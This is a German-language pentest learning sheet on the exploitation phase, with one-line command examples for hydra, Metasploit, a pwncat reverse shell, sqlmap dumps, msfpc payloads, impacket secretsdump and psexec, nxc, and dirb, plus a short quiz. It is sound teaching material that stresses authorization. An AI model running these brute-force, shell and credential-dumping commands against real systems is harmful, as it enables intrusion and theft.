Basics: Was ist Exploitation?
Beim Pentest (Penetrationstest) prüft man ein System gezielt auf Schwachstellen — nur mit Erlaubnis des Eigentümers. Die Exploitation ist die Phase, in der eine gefundene Schwachstelle tatsächlich ausgenutzt wird, um Zugriff zu erlangen. Der Ablauf folgt einem Kreislauf:
- RECON — Informationen sammeln (Dienste, Ports, Versionen, Benutzer).
- EXPLOIT — eine Schwachstelle ausnutzen (z. B. schwaches Passwort, SQL-Injection, bekannte Lücke).
- CONTROL — Zugriff sichern & ausbauen (Reverse Shell, Dateien übertragen, Rechte erweitern).
- REPEAT — vom kompromittierten System aus weiter vorgehen (Lateral Movement).
Die 8 Exploitation-Tools
Testet Benutzername/Passwort-Kombinationen gegen Dienste (SSH, FTP, SMB, HTTP(S) u. a.).
hydra -L users.txt -P passwords.txt ssh://target — Credentials testen · hydra -l admin -P passwords.txt ftp://target — einzelner User · hydra -t 4 … — 4 parallele Tasks · hydra -f … — bei erstem Treffer stoppen.
Das bekannteste Exploit-Framework: Module suchen, laden und konfigurieren.
msfconsole — starten · search type:auxiliary — Module suchen · show exploits — Exploits auflisten · use <module> — laden · show options / set <option> <value> — konfigurieren.
Interaktive Reverse-Shell mit Datei-Upload/-Download und SSL-Unterstützung.
pwncat-cs -lp 4444 — Listener · pwncat-cs 192.168.1.10 4444 — verbinden · --ssl — verschlüsselt · upload/download — Dateien übertragen.
Erkennt und nutzt SQL-Injection-Schwachstellen in Web-URLs automatisiert aus.
sqlmap -u "URL" — testen · --dbs — Datenbanken auflisten · -D db --tables — Tabellen · -D db -T t -C c --dump — Daten auslesen · --level=3 --risk=2 — intensiver testen.
Erzeugt schnell Payloads (ausführbare Dateien) für Metasploit.
msfpc — interaktives Menü · --list — Vorlagen · --payload <p> — wählen · --ip <LHOST> / --port <LPORT> — Ziel · --format exe — Ausgabeformat · --out <file> — speichern.
Sammlung von Python-Skripten für Windows-Netzwerkprotokolle (SMB, WMI, LDAP, MSSQL).
impacket-GetNPUsers.py domain/ -no-pass — AS-REP-Roast · impacket-psexec.py user:pass@target — Ausführung via SMB · impacket-secretsdump.py … — Secrets auslesen · impacket-wmiexec.py … — via WMI.
Nachfolger von CrackMapExec: Dienste enumerieren und Befehle ausführen.
nxc smb <target> -u <user> -p <pass> --shares — Shares · --users — Benutzer · nxc winrm … -x "ipconfig" — Befehl ausführen · nxc ldap … --users — LDAP · nxc rdp … --rdp-check — RDP testen.
Findet versteckte Verzeichnisse und Dateien auf Webservern per Wortliste.
dirb http://<target> — Standard-Scan · -w wordlist.txt — eigene Wortliste · -r — Redirects folgen · -X .php,.html — Endungen · -o output.txt — speichern.
Selbsttest
- Welches Tool testet Benutzername/Passwort-Kombinationen gegen SSH/FTP? (Hydra)
- Wie startet man das Metasploit-Framework? (msfconsole)
- Welches Tool erkennt SQL-Injection automatisiert? (SQLMap)
- Wofür steht die Merkregel RECON → EXPLOIT → CONTROL → REPEAT? (Der Pentest-Kreislauf: sammeln, ausnutzen, Zugriff sichern, weiter vorgehen)
- Warum sind diese Tools nur in autorisierten Umgebungen erlaubt? (Unerlaubter Einsatz ist strafbar; nur eigene/beauftragte Systeme)